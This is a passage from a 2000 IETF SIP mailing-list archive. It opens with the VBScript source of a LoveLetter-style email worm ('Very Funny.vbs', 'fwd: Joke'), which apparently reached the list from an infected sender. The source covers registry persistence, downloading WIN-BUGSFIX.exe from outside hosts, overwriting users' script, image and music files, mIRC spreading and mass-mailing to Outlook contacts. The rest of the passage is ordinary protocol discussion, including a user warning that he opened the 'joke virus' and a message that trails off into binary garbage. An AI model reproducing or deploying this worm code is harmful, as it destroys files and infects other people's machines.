rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\Very Funny.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern= el32",dirsystem&"\MSKernel32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\Win32DLL",dirwin&"\Win32DLL.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize num =3D Int((4 * Rnd) + 1) if num =3D 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm= hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num =3D 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw= erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd= QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD= GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN= -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU= GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) =20 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") = or (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if if (eq<>folderspec) then if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or = (s=3D"script.ini") or (s=3D"mirc.hlp") then set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will = corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not = run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=3Don 1:JOIN:#:{" scriptini.WriteLine "n1=3D /if ( $nick =3D=3D $me ) { halt }" scriptini.WriteLine "n2=3D /.dcc send $nick "&dirsystem&"\Very = Funny.HTM" scriptini.WriteLine "n3=3D}" scriptini.close eq=3Dfolderspec end if end if next =20 end sub sub folderlist(folderspec) =20 On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) =20 set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next =20 end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=3D1 to a.AddressEntries.Count malead=3Da.AddressEntries(x) regad=3D"" regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male= ad) if (regad=3D"") then set male=3Dout.CreateItem(0) male.Recipients.Add(malead) male.Subject =3D "fwd: Joke" male.Body =3D vbcrlf&"" male.Attachments.Add(dirsystem&"\Very Funny.vbs") male.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D"LOVELETTER - HTML<?-?TITLE><META = NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& = _ "<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? = @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& = _ "<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is = good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY = ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-= YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-= YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ = BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to = read this HTML file<BR>- Please press #-#YES#-# button to Enable = ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ = BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR= QUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=3Dscreen.availWidth;var = hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc= rlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=3D1"&vbcrlf& _ "code=3D" dta2=3D"set = fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _ "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set = wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=3D424) then"&vbcrlf& _ "aw=3D0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=3D1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite = @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^= -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=3DCreateObject("Scripting.FileSystemObject") set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1) lines=3DSplit(c.ReadAll,vbcrlf) l1=3Dubound(lines) for n=3D0 to ubound(lines) lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=3Dn) then lines(n)=3Dchr(34)+lines(n)+chr(34) else lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=3Dfso.CreateTextFile(dirsystem+"\Very Funny.HTM") b.close set d=3Dfso.OpenTextFile(dirsystem+"\Very Funny.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 16:44:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA15533 for <sip-archive@odin.ietf.org>; Tue, 22 Aug 2000 16:44:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2A1784433F; Tue, 22 Aug 2000 16:44:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.outreachtech.com (unknown [208.246.106.18]) by lists.bell-labs.com (Postfix) with ESMTP id 45F8744342 for <sip@lists.bell-labs.com>; Tue, 22 Aug 2000 16:44:08 -0400 (EDT) Received: by ORT-EXCH with Internet Mail Service (5.5.2650.21) id <PDFASKJR>; Tue, 22 Aug 2000 16:43:23 -0400 Message-ID: <91522176F94CD4119FAB00B0D0492B4312AD24@ORT-EXCH> From: "Vakil, Mohammad" <MVakil@outreachtech.com> Date: Tue, 22 Aug 2000 16:43:22 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] To whom it may concern! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com I accidentaly opened the joke virus, and I think that it might have been sent to everybody on my address book. If you have received it and haven't opened it, please don't open the email with the subject fwd: joke. Thanks, Mohammad Vakil _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 18:21:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA16896 for <sip-archive@odin.ietf.org>; Tue, 22 Aug 2000 18:21:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 190094433F; Tue, 22 Aug 2000 18:21:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bounty.cisco.com (bounty.cisco.com [161.44.3.204]) by lists.bell-labs.com (Postfix) with ESMTP id 2199044336 for <sip@lists.bell-labs.com>; Tue, 22 Aug 2000 18:21:02 -0400 (EDT) Received: from cisco.com (rtp-xdm1.cisco.com [161.44.3.80]) by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id SAA24961; Tue, 22 Aug 2000 18:19:54 -0400 (EDT) Message-ID: <39A2FC75.16ADD3C9@cisco.com> Date: Tue, 22 Aug 2000 18:19:33 -0400 From: Shail Bhatnagar <shbhatna@cisco.com> X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jo Hornsby <jhornsby@ubiquity.net> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Loop Detection Again References: <003801c00c41$05cd1db0$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo, I have a fundamental disagreement here so have not read your entire email. See my embedded question. Thanks, Shail Jo Hornsby wrote: > > Hi, > > I'd like to revisit the thorny issue of Loop Detection and > Via-Hiding, if I may. > > Imagine an INVITE issued by a User Agent, UA X, which is routed > through Proxy A to Proxy B, whereby Proxy B decides to send it > on to Proxy A. At this point the INVITE has looped. However, > Proxy A requested Via hiding, so does not detect the loop, and > forwards the request to Proxy B again. > > +------+ +---------+ 1st +---------+ > | | | | ------> | | > | UA X | ------> | Proxy A | | Proxy B | > | | | | ------> | | > +------+ +---------+ 2nd +---------+ > ^ | > | | > | | > +-------------------+ > > I will call the request from UA X to Proxy A, X-A; > the "first" request from Proxy A to Proxy B, A-B; > the request from Proxy B to Proxy A, B-A; > and the "second", already-looped, request from Proxy A to Proxy B, A-B2. > > As I understand it [1], it is supposed to be Proxy B that detects > the loop, by attempting to decrypt Vias. I have big trouble with > this, because if Proxy A is stateful, then any ACK or CANCEL > generated by Proxy A will be ambiguous in that Proxy B will be > unable to determine if the ACK or CANCEL is for request A-B or > request A-B2. I thought that if proxy B is stateful, request A-B2 will hash to the same transaction control block as the request A-B since the 4 tuple (Call-ID, From, To and CSeq) has not changed. Correct ?? > > Am I right about this? > > Wouldn't it perhaps be better if proxies could detect loops even if > their Via had been hidden? It seems to me that recommending that the > branch parameter is somehow uniquely identifiable to an instance of an > implementation would enable this; say by recommending that some > portion conforms to the requirements of the "tag" parameter. > Then detecting loops would just require a proxy to search for any > Vias that have branch parameters that look "familiar", and then > performing the usual computation (to avoid flagging spirals as loops). > > Now comes my real dilemma. &:) > > Say Proxy A isn't clever with branch parameters, and thus does add > another hop, A-B2, to an already-looped request. Now Proxy B can > detect the loop. However, if Proxy B is stateful, should it attempt > to detect the loop? To Proxy B, this request A-B2 is going to look > like a retransmission of A-B based on the To, From, Call-ID, CSeq, > Request-URI, and topmost-Via...but there are other Vias present. > > I guess what I'm asking is if a stateful proxy should be aggressive > in loop detection, by checking every single request it sees, or just > for "new" requests (i.e., when To, From, Call-ID, CSeq, Request-URI, > topmost-Via tuple match no others). > > My gut feeling is that it should only check for "new" requests, > because dragons be elsewhere. For instance, if Proxy B responds > with a 482, and Proxy A ACKs, then the ACK is not going to be > distinguishable; unless Proxy B puts some special tag in the To > header, I guess. > > The real shame is that CANCELs are completely indistinguishable > (okay, save the case that Proxy A is stateless), which is just plain > unfair if Proxy B happened to fork to other places besides Proxy A. > (I would note that "aggressive" loop detection by Proxy B here would > help in that if it returns the 482 "quickly", it's less likely to > see a CANCEL for A-B2; i.e., if a CANCEL arrives, it's more likely > to be for A-B.) > > One other point that springs to mind: if it were recommended that > branch parameters were unique, period, would that help to alleviate > this problem? (I currently read 6.46.6 as requiring them just to > be unique within the space of one request.) > > Thoughts? > > Cheers, > > - Jo. > > [1] Paragraph 4 of Section 6.25 in bis-01: > A server that is capable of hiding Via headers MUST attempt to > decrypt all Via headers marked as "hidden" to perform loop detection. > Servers that are not capable of hiding can ignore hidden Via fields > in their loop detection algorithm. > -- > Jo Hornsby; IT Professional -- mailto:jhornsby@ubiquity.net > Ubiquity Software Corporation -- http://www.ubiquity.net/ > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 01:09:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA23490 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 01:09:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 794CB44357; Wed, 23 Aug 2000 01:09:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f12.law7.hotmail.com [216.33.237.12]) by lists.bell-labs.com (Postfix) with ESMTP id 5806944351 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 01:09:43 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 22 Aug 2000 22:09:42 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 23 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" <panderahul@hotmail.com> To: panderahul@hotmail.com Date: Wed, 23 Aug 2000 05:09:42 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: <F12oYAPNXRPmcarcR4Z000006e2@hotmail.com> X-OriginalArrivalTime: 23 Aug 2000 05:09:42.0610 (UTC) FILETIME=[5899C320:01C00CC0] Subject: [SIP] About tunnelling...... Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com ----- |sub | |net1 | ----- |(one Router in b/w and is unicast only) ----- |sub | |net2 | ----- Sir, In the above scenario can i use tunnelling to communicate b/w the two subnets, i.e. if a host in subnet1 wants to send a packet on some multicast address and there are few hosts in subnet2 also who are listening on that multicast address, will they be able to communicate with each other. Will the tunelling be done at the host level? Thanking you, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 01:42:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27301 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 01:42:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6A12544342; Wed, 23 Aug 2000 01:42:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web1606.mail.yahoo.com (web1606.mail.yahoo.com [128.11.23.206]) by lists.bell-labs.com (Postfix) with SMTP id 5F12044336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 01:42:30 -0400 (EDT) Received: (qmail 14222 invoked by uid 60001); 23 Aug 2000 05:47:13 -0000 Message-ID: <20000823054713.14221.qmail@web1606.mail.yahoo.com> Received: from [213.29.206.8] by web1606.mail.yahoo.com; Tue, 22 Aug 2000 22:47:13 PDT Date: Tue, 22 Aug 2000 22:47:13 -0700 (PDT) From: mohsen sedighi <mohsen_sedighi@yahoo.com> To: sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [SIP] sip program Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com in the name of God i want a complete source program of a good sip implimentation,who knows from where i can find it? Best regards, sedighi __________________________________________________ Do You Yahoo!? Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 01:47:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27822 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 01:47:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BE03444364; Wed, 23 Aug 2000 01:46:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from marie.nada.co.kr (mail.nadatel.com [203.229.244.2]) by lists.bell-labs.com (Postfix) with ESMTP id 2FA6B44336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 01:46:31 -0400 (EDT) Received: from vctest1 ([192.168.1.153]) by marie.nada.co.kr (8.9.3/8.9.3) with SMTP id OAA19540; Wed, 23 Aug 2000 14:52:45 +0900 Message-ID: <00ed01c00cc5$ed8f3550$9901a8c0@nadatel.com> From: "Junyoung Heo" <green@nadatel.com> To: "mohsen sedighi" <mohsen_sedighi@yahoo.com>, <sip@lists.bell-labs.com> References: <20000823054713.14221.qmail@web1606.mail.yahoo.com> Subject: Re: [SIP] sip program Date: Wed, 23 Aug 2000 14:49:39 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by ietf.org id BAA27822 refer www.vovida.com ----- Original Message ----- From: "mohsen sedighi" <mohsen_sedighi@yahoo.com> To: <sip@lists.bell-labs.com> Sent: Wednesday, August 23, 2000 2:47 PM Subject: [SIP] sip program > in the name of God > i want a complete source program of a good sip > implimentation,who knows from where i can find it? > Best regards, > sedighi > > __________________________________________________ > Do You Yahoo!? > Yahoo! Mail - Free email you can access from anywhere! > http://mail.yahoo.com/ > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÒ ùšŠX§‚X¬µ"þX¬¶ÏÛzYÿ•¦ìýÊ&†ÛiÿÿåŠËlý·¥—ùZnÏÜ¢oæj)fjåŠËbú? From sip-admin@lists.bell-labs.com Wed Aug 23 02:40:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05628 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 02:40:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0270944357; Wed, 23 Aug 2000 02:39:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id A77F544336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 02:39:56 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id CAA42757; Wed, 23 Aug 2000 02:39:55 -0400 (EDT) Message-ID: <008101c00ccd$8b3fff30$3202a8c0@broadsoft.com> From: "Brett Tate" <brett@broadsoft.com> To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com> Cc: "SIPbell-labs" <sip@lists.bell-labs.com>, <rsparks@dynamicsoft.com> References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> <39A2A100.8665D71A@dynamicsoft.com> Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Date: Wed, 23 Aug 2000 02:44:10 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hey Jonathan, Thanks for the response. Can any member along the path introduce REFER messages on the path or does it exclude proxies for CSeq reasons? Since the REFER is just borrowing the route and is unrelated to the session, do all the rest of the headers need to match up with the normal call-leg headers specific to the path? It seems the document has evolved to show how A can request B to INVITE C, instead of how to transfer a call. If a REFER is unrelated to the path's session, I find it interesting that the Call Transfer draft doesn't explain how to perform a transfer. :) Please give example of headers as to avoid everyone from producing a proprietary means to request a "transfer", "multi-party", or "establish additional unrelated call" when sending the REFER. Please give example of headers for how the Transferee knows to switch, second line, or multi-party the INVITE from the Transfer Target within 6.2.2 without presenting it the user to decide. Thanks, Brett ----- Original Message ----- From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> To: Brett Tate <brett@broadsoft.com> Cc: SIPbell-labs <sip@lists.bell-labs.com>; <rsparks@dynamicsoft.com> Sent: Tuesday, August 22, 2000 11:49 AM Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions > In general, I think we want to stick with the model that REFER, and the > session during which REFER was sent, are completely unrelated. > Otherwise, we will have many complex interactions like the ones you are > asking about. > > -Jonathan R. > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 02:42:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05656 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 02:42:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A3DC24436E; Wed, 23 Aug 2000 02:40:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id 60D2D44342 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 02:39:59 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id CAA42764; Wed, 23 Aug 2000 02:39:58 -0400 (EDT) Message-ID: <008201c00ccd$8cde1ed0$3202a8c0@broadsoft.com> From: "Brett Tate" <brett@broadsoft.com> To: "Robert Sparks" <rsparks@dynamicsoft.com>, "SIPbell-labs" <sip@lists.bell-labs.com> References: <CCEGLIOJBBMIGPGPMICFOEKNCDAA.rsparks@dynamicsoft.com> Subject: Re: [SIP] RE: draft-ietf-sip-cc-transfer-00 comments and questions Date: Wed, 23 